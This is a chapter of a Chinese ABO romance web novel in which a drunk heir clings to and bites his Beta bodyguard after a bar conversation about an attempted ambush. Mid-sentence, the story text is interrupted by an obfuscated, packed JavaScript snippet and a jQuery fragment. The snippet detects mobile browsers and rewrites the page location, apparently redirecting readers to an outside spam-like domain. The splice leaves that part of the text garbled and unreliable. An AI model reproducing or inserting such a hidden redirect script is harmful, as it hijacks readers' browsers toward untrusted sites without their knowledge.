“雾色”酒吧。
周临越晃着酒杯,看着宋闻韶走进来。
他淬了毒的小嘴丝毫嘴没有留情:“哟,老头肯同意你来?”
宋闻韶瞪了他一眼,转头看向裴霖:“你在外面等我。”
裴霖没有任何异议,他反而乐得清闲。
他对上流圈层的八卦一点兴趣都没有,他向来信奉:知道越少,活得越好的原则。
自从上次飙车事件后,宋闻韶反常地将自己锁在房间里,连吃饭都不走出房间。
裴霖每天就在他门口守着,清闲且无聊。
大概是不需要大幅度活动,身体得到了静养。
裴霖右手臂的伤口好得特别快,现在已经结痂,不影响行动了。
只有两个人的包厢,躁动的鼓点声,刺得宋闻韶心烦意乱。
他猛地拿起玻璃杯灌了一大口烈酒,呛得直咳嗽。
周临越盯着他看两秒,挑眉问道:“这是怎么了?”
宋闻韶摇头,他最近的状态很不对劲,整个人别扭得不行。
宋闻韶顾左右而言他:“可能是易感期快到了......”
周临越“啧”了一声,没有接话。
就他的易感期哪次不是特别难熬,怎么就这一次特别不同?
周临越没有拆穿他,而是问道:“之前飙车是什么情况?知道是谁围追堵截吗?”
宋闻韶摇头,本来就是他一时兴起,哪知道,才出门就立刻就被人盯上了。
周临越有点惊讶,他本靠在沙发上的身子都不自觉地坐直了:“我还以为是你自导自演的呢?”
周临越有点不可思议,他知道宋闻韶特别讨厌老爷子在他身边安排一批又一批的人,变相被监视的滋味确实难受。
他以为宋闻韶是故意演了这一出戏,想让裴霖知难而退。
宋闻韶确实讨厌一举一动都被如实汇报到老头那边。
所以,他离经叛道,特别难管,老爷子不许他干的事,他一个不落地全部挨个干,只是这次在他意料之外了。
宋闻韶摇头:“我有必要为了让他远离我,而搭上他的性命吗?”
更何况,他现在也不讨厌裴霖了。
原来裴霖没有说过大话,他是真的有实力打过SS级Alpha。
即使宋闻韶没有亲眼见到,但就冲着裴霖的魄力,他也是相信裴霖的话了。
怎么会有这么有种的Beta,宋闻韶突然对裴霖的来历充满兴趣,他想裴霖应该可以陪自己度过很长一段难熬的日子。
周临越翘着脚,手指有规律地点着沙发,脑子里过了一遍有可能背叛的人:“你的那批保镖里有内鬼?不然为什么会知道你的行踪?”
宋闻韶眉头拧在一起,他晃着手里的玻璃杯,透明的液体顺着边沿一圈圈地滚过滑落:“这次只有你、荀榕和裴霖知道。”
“大概还有个老头子吧。”荀榕绝对会去告状,不过幸好这次宋氏派人及时,不然后果不堪设想。
周临越重新躺回沙发上,他感叹:“你们这次集团改革动了太多人的蛋糕,你还是当心点。”
宋闻韶冷哼,漂亮的眸子里掩不住戾气:“如果真的敢来,那就都别回去了。”
其他人一直唱衰宋氏,还不是因为宋氏单脉相传,小少爷又是一个不成器的普通Alpha。
宋氏能够一直稳坐顶级豪门的位置,还不是有传闻中的SSS级Alpha坐镇,那如果小少爷就是那个大杀器呢?
宋闻韶咬牙切齿:“我一定要让他们付出代价。”
不上牌照的车,陌生的打手,不露面的领头人,看来胆子也没有想象中的大。
宋闻韶周身缠绕着怒火。
周临越担心地看向他的身体:“你最近别出去了,你的易感期快到了吧。”
一想到易感期,宋闻韶就开始浑身难受。
宋闻韶站起身,一口干掉玻璃杯中的酒:“回去了。”
手上的宝石手串摩擦间,发出清脆的声响。
宋闻韶双手都套满了华丽的饰品,脖颈上的红色宝石闪着妖冶的光,信息素快要压不住了。
周临越跟着起身,他关心问道:“要不要我派人送你回去?”
宋闻韶摇头,他扶着发晕的脑袋,拒绝:“今天有保镖跟着的,裴霖和我坐一车,没事。”
裴霖从周临越手里接过宋闻韶的时候,他敏锐地发现周临越看他的目光充斥着打量和试探。
他好像没做什么得罪周临越的事吧。
宋闻韶在触碰到裴霖的瞬间,刚刚还能好好站着的人,现在整个人像是没骨头似的,直接倒在裴霖身上。
周临越看裴霖的目光更深了。
裴霖尴尬地顶着周临越视线,扶着宋闻韶往外走。
今天值班的保镖正好是霍伊。
在车上,宋闻韶死活要粘着裴霖的样子被霍伊尽收眼中。
裴霖在霍伊看热闹的表情里,尴尬地想要找个地缝钻进去。
终于熬到下车。
裴霖费了九牛二虎之力终于将宋闻韶带到房间。
裴霖架着宋闻韶往床边走去。
正当他想放下宋闻韶的时候,宋闻韶大力地直接将裴霖拽到自己身边,一个翻身就将裴霖压在了身下。
又来了。
裴霖都有点麻木了。
“少爷,你是不是喝醉了?”他小心地撑住宋闻韶的肩膀,商量着开口,“我去给你端醒酒汤。”
宋闻韶不依不饶,他直直地就想压下来,嘴里还嘟囔着:“我没醉......”
裴霖深吸一口气,果然是醉了。
宋闻韶晃晃脑袋,漂亮的眼尾耷拉下来,一副可怜的模样:“我头疼,好难受......”
裴霖束手无策,他实在是不会应付这样的场景,只能干巴巴地开口反问道:“那......你要怎样才能好点?”
宋闻韶小心地避开裴霖右手处的伤口,强势地掰开他的手,整个人都覆上来,他心满意足地开口:“抱着你就不难受。”
得,他还是解药。
裴霖盯着亮晃晃得天花板,他看得都有点发晕了。
今天他绝对不能留在这里,明天等少爷酒醒了,又得发脾气。
裴霖试图推动宋闻韶,宋闻韶软软地任由裴霖摆弄。
裴霖也不敢太用力,等把宋闻韶推到一边后,他平躺在原地只想缓一缓。
裴霖想不通,为什么少爷看着柔柔弱弱的,实际份量却不轻。
拖着少爷回来安顿好的活动量,居然比他打架还要喘。
他还没来得及开始深呼吸吸气,宋闻韶一个侧身,左手搭在裴霖的胸前,左腿直接禁锢住裴霖的双腿。
“唔......”突如其来的重量让裴霖闷哼出声。
刚刚的活又白干了。
裴霖生无可恋,在他漫长的职业生涯中,他第一次有了想要摆烂的念头。
宋闻韶迷糊地睁开眼,面前好像有一个香香的小蛋糕。他张嘴就一口咬住,软软的,还挺有弹性。
裴霖想杀老板的心都有了,他的肩膀是什么能吃的东西吗?
为什么咬了还要往里吸啊!
柔软温热的触感,黏腻灵活的舌头还时不时地探出,是裴霖从未感受过的刺激。
他汗毛倒立,这触感太可怕了!
裴霖一动不敢动,他战战兢兢地开口,声音都带着颤抖:“少爷,你是......哪里不舒服吗?”
他说话间,唇瓣不停地触碰着裴霖的肩膀,贴着柔软的肌肤不舍得离开:“你叫我什么,不许叫我少爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404137|184402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
......”
“我们之间的承诺,你......忘了吗?”
裴霖:都醉成这样了,还记得之前说过的话呢?
裴霖现在全当是在哄小孩,反正也没人看见:“勺勺,躺到被窝里去睡好不好?”
宋闻韶依偎在裴霖怀里,大概是裴霖身上有股让人安心的气味。他特别好说话地点点头:“都听你的。”
嘴上说着都听你的,却完全不动一下。
裴霖想要掰开宋闻韶手的时候,又被整个锁住。
现在裴霖是真的一动都动不了。
“你身上好香......”
宋闻韶像小狗一样,不停地在裴霖胸口拱着,他不满意自己侧躺在裴霖身边的姿势,一个翻身又是将裴霖压在了身下。
一切又回到了原点。
裴霖绝望地闭了闭眼。
宋闻韶睁开迷离的眸子,他盯着裴霖的头发很是不满:“你的头发为什么不长不短的,好丑。”
边说着,还边上手摸了摸。
他好像得了个有趣的玩具。
宋闻韶修长纤细的手指不停穿梭在裴霖的发梢间,还时不时恶趣味地向外拉扯。
裴霖认命,只要不再奇怪地咬他一口,想干什么就干什么吧。
宋闻韶突然低下头,他笔挺的鼻梁在裴霖的脸上刮来刮去。他一边不停动作一边嫌弃:“你的皮肤好粗糙,扎得我好疼。”
裴霖:......
疼就停下动作啊。
裴霖头皮发麻地任由宋闻韶东闻西嗅,他的灵魂已经在空中神游了。
他甚至在想,如果自己以此为由和少爷提出要精神损失费,他会不会被赶出庄园,然后被发一封起诉造谣信......
“啊!”裴霖突然惨叫出声,痛得眼泪水都要飙出来了,“宋闻韶!”
宋闻韶无辜地抬起头,他的声音甚至有点委屈:“干嘛?”
裴霖瞪着他,实在是有点难以启齿:“痛!”
宋闻韶又低头舔了舔,语气里是难掩的激动:“那我帮你吹吹,吹吹就不痛了。”
灼热的气息不断洒在裴霖的脖颈处,还连带着湿润舔/舐的触感。
裴霖实在是受不了了,他伸手抵住宋闻韶的肩膀,两人之间拉开了距离:“够了!”
裴霖的脖颈泛红,左侧有一圈完整的牙印,像一个漂亮的专属印记。
宋闻韶的脸瞬间垮了下来,他的泪水说来就来,语气带上哽咽:“为什么?你为什么生我的气?”
宋闻韶的泪水直接滴落在裴霖的脸上。
是带着温度的咸味,甚至还有股橘子气。
裴霖觉得自己大概也是疯了,可能是最近闻了太多橘子味,他甚至觉得自己身上也开始带有橘子味道了。
裴霖放弃抵抗:“你白天睡醒可别翻脸。”
他抱着完蛋的心态威胁宋闻韶。
他想,他也是出息了,居然敢威胁老板了。
宋闻韶得到裴霖的允许后,整个人变得更加放肆,他粘着裴霖不肯撒手,连睡着都是拥抱的姿势。
裴霖哄人哄得精疲力尽。
他是不敢再动弹了。
万一再把少爷吵醒,估计又要折腾一夜。
他脸上、脖子上都是橘子味的口水,他不得已带着一身味道进入睡眠。
次日早晨,宋闻韶低哼一声,有转醒的趋势。
他动了动手,手里的触感极佳。
昨夜的记忆如潮水般涌进脑子里,没有删减、添加、美化的记忆,真实得让宋闻韶有点崩溃。
他惊恐地瞪大双眼,完全不敢相信这是他能做出来的事。
他是疯了吗?居然对一个平平无奇的Beta做这样的事?
裴霖早就醒了,但他在装睡。